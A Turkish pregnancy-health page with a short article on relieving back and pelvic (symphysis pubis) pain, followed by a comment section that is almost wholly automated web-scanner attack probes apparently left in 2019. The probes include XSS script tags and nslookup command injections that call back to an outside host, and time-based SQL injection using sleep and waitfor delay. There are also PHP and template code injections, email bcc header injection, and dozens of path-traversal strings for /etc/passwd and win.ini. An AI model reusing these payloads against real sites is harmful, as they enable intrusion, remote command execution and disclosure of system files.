Kayıt Ol / Giriş Yap

Giriş Yap

Şifremi Unuttum Aktivasyon Kodu

Şifremi Unuttum


< Geri Dön

Aktivasyon Kodu


< Geri Dön

Henüz üye değilsen:

Kayıt Ol
Ana Sayfa

Hamileyim / Sağlık

AAA

Sırt ve Pelvik Ağrısına Ne İyi Gelir?

Sırt ve Pelvik Ağrısına Ne İyi Gelir?

Sırt ağrısı

Sırt ağrısı, hormonlar ve büyüyen rahim nedeniyle duruştaki değişimlere bağlı olarak ortaya çıkar. Duruşunuzun farkında olun, idrar boşluğunuzu sıkıştıracak şekilde kambur durmayın ve arkaya doğru eğilmekten kaçının. Aynı zamanda egzersiz yaparak omurganızın iyi durumda kalmasına yardımcı olun. Yoga, suda koşma ve yüzme mükemmeldir. Sürekli sırt ağrısında fizik tedavi uzmanı, akupunktur ya da masör tedavisi etkili olabilir. Kasılmalar nedeniyle anlık sırt ağrıları yaşayabilirsiniz. Eğer emin değilseniz, doktorunuzu arayın.  

İdrar boşluğunda ağrı

İdrar boşluğunda yaşayacağınız ağrı, 'Simfizis Pubis Disfonksiyonu' (SPD) olarak da bilinir. Giyinme, kaldırma, yürüme ya da merdiven çıkma esnasında şiddetlenebilir. Çeşitli sebepleri vardır. Bu sebeplerden bazıları hamilelik hormonlarının leğen kemiklerinizin hafifçe hareket etmesine olanak tanıması nedeniyle ya da leğen kemiklerinde hizasızlık olması nedeniyle gerçekleşebilir.

Tedavi

İdrar boşluğu ağrısı genellikle hamileliğin orta döneminde başlar. Doktorunuz fizik tedavi uzmanı, akupunktur ya da masör tedavisi önerebilir. Pelvik destek kemeri rahatlama sağlayabilir.

Ağrınız varsa, ağrıyı hafifletmek için aşağıdaki yöntemleri denemeniz faydalı olabilir;

• Günün telaşı içerisinde molalar verin.
• Sıklıkla pozisyonunuzu değiştirin.
• Sadece tek yana yaslanmayın ve ayakta, yürürken ya da otururken bile dik durun.
• Eğer oturarak ya da ayakta çalışıyorsanız, sıklıkla pozisyon değiştirmeniz önemlidir.
• Gerçekten ağrılı noktalar üzerine 15-20 dakika süreyle buz torbası koymayı deneyin.
• Kolayca giyip çıkarabileceğiniz düztabanlı ayakkabılar giyin.

Eğer ağrılar doğum sonrasında da devam ederse ne olur?

Çoğu durumda ağrılar doğumdan sonra iyileşir fakat nadir durumlarda devam da edebilir ve doğum sonrasında tedavi gerektirebilir. Doktorunuzla konuşun.

Sırt ya da idrar boşluğu ağrınız var mı? Herhangi bir öneri ya da fikriniz mi var? Pelvik destek kemeri size iyi geliyor mu? Bunları bize anlatın.


 

Yorumlar

Yorum eklemek için üye girişi yapmanız gerekiyor
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1BIaiRpAbaO
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
response.write(9483426*9877334)
28 Şubat 2019
1
28 Şubat 2019
'+response.write(9483426*9877334)+'
28 Şubat 2019
1
28 Şubat 2019
"+response.write(9483426*9877334)+"
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1'"
28 Şubat 2019
\
28 Şubat 2019
1
28 Şubat 2019
@@98hdb
28 Şubat 2019
JyI=
28 Şubat 2019
28 Şubat 2019
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1'>"></title></style></textarea></noscript></template></script><script/src="//bxss.me/s?u=053319&r=54-102522&h=54-15ea6-2&"></script>
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
vymPQLRh
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
set|set&set
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
$(nslookup dns.ce.\053319.54-102532.54.15ea6.\1.bxss.me)
28 Şubat 2019
1
28 Şubat 2019
&nslookup dns.ce.\053319.54-102537.54.15ea6.\1.bxss.me&'\"`0&nslookup dns.ce.\053319.54-102537.54.15ea6.\1.bxss.me&`'
28 Şubat 2019
1
28 Şubat 2019
1 bcc:053319.54-102543.54.15ea6.1@bxss.me
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
to@example.com> bcc:053319.54-102544.54.15ea6.1@bxss.me
28 Şubat 2019
1<esi:include src="http://testasp.vulnweb.com/rpb.png"/>
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
${9999744+9999000}
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
12345'"\'\");|]*{ <>
28 Şubat 2019
1&n996983=v914724
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
'"()
28 Şubat 2019
)
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
!(()&&!|*|*|
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
HttP://testasp.vulnweb.com/t/xss.html?%00
28 Şubat 2019
^(#$!@#$)(()))******
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
28 Şubat 2019
testasp.vulnweb.com/t/xss.html?%00
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1some_inexistent_file_with_long_name.jpg
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
Http://testasp.vulnweb.com/t/fit.txt
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
28 Şubat 2019
http://testasp.vulnweb.com/t/fit.txt?.jpg
28 Şubat 2019
http://hit0dBL9TCemf.bxss.me/
28 Şubat 2019
;print(md5(acunetix_wvs_security_test));
28 Şubat 2019
1
28 Şubat 2019
comment
28 Şubat 2019
/www.vulnweb.com
28 Şubat 2019
testasp.vulnweb.com
28 Şubat 2019
';print(md5(acunetix_wvs_security_test));$a='
28 Şubat 2019
1
28 Şubat 2019
comment
28 Şubat 2019
";print(md5(acunetix_wvs_security_test));$a="
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
comment/.
28 Şubat 2019
1
28 Şubat 2019
${@print(md5(acunetix_wvs_security_test))}
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
'"
28 Şubat 2019
${@print(md5(acunetix_wvs_security_test))}\
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
<!--
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1'"()&%<acx><ScRiPt >IfSc(9151)</ScRiPt>
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
'"()&%<acx><ScRiPt >IfSc(9016)</ScRiPt>
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
19980490
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
7YsyXa5R
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
-1 OR 2+913-913-1=0+0+0+1 --
28 Şubat 2019
-1 OR 2+949-949-1=0+0+0+1
28 Şubat 2019
1
28 Şubat 2019
-1' OR 2+496-496-1=0+0+0+1 --
28 Şubat 2019
1
28 Şubat 2019
-1' OR 2+165-165-1=0+0+0+1 or 'oQqqO9mY'='
28 Şubat 2019
1
28 Şubat 2019
-1" OR 2+952-952-1=0+0+0+1 --
28 Şubat 2019
1
28 Şubat 2019
if(now()=sysdate(),sleep(6),0)
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
0'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z
28 Şubat 2019
0"XOR(if(now()=sysdate(),sleep(9),0))XOR"Z
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
(select(0)from(select(sleep(9)))v)/*'+(select(0)from(select(sleep(9)))v)+'"+(select(0)from(select(sleep(9)))v)+"*/
28 Şubat 2019
1
28 Şubat 2019
-1; waitfor delay '0:0:3' --
28 Şubat 2019
1
28 Şubat 2019
-1); waitfor delay '0:0:3' --
28 Şubat 2019
1
28 Şubat 2019
1 waitfor delay '0:0:6' --
28 Şubat 2019
1
28 Şubat 2019
Mm9zy8c9'; waitfor delay '0:0:9' --
28 Şubat 2019
1
28 Şubat 2019
-1;select pg_sleep(9); --
28 Şubat 2019
1
28 Şubat 2019
-1);select pg_sleep(3); --
28 Şubat 2019
1
28 Şubat 2019
-1));select pg_sleep(6); --
28 Şubat 2019
1
28 Şubat 2019
1PMNAHDq';select pg_sleep(6); --
28 Şubat 2019
1
28 Şubat 2019
jBrvMN0l');select pg_sleep(9); --
28 Şubat 2019
1
28 Şubat 2019
feaHyTMl'));select pg_sleep(9); --
28 Şubat 2019
1
28 Şubat 2019
../../../../../../../../../../etc/passwd
28 Şubat 2019
../../../../../../../../../../../../../../../proc/version
28 Şubat 2019
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
28 Şubat 2019
../../../../../../../../../../etc/passwd.jpg
28 Şubat 2019
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
28 Şubat 2019
/../..//../..//../..//../..//../..//etc/passwd.jpg
28 Şubat 2019
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
28 Şubat 2019
/etc/passwd
28 Şubat 2019
%2fetc%2fpasswd
28 Şubat 2019
/.././.././.././.././.././.././.././../etc/./passwd%00
28 Şubat 2019
../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd
28 Şubat 2019
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd
28 Şubat 2019
..
28 Şubat 2019
invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
28 Şubat 2019
file:///etc/passwd
28 Şubat 2019
/\../\../\../\../\../\../\../etc/passwd
28 Şubat 2019
/WEB-INF/web.xml
28 Şubat 2019
../../../../../../../../../../windows/win.ini
28 Şubat 2019
C:\WINDOWS\system32\drivers\etc\hosts
28 Şubat 2019
../../../../../../../../../../windows/win.ini.jpg
28 Şubat 2019
28 Şubat 2019
................windowswin.ini
28 Şubat 2019
..\..\..\..\..\..\..\..\windows\win.ini
28 Şubat 2019
/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini
28 Şubat 2019
../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini
28 Şubat 2019
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini
28 Şubat 2019
unexisting/../../../../../../../../../../windows/win.ini.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\
28 Şubat 2019
WEB-INF/web.xml
28 Şubat 2019
WEB-INF\web.xml

Diğer Makaleler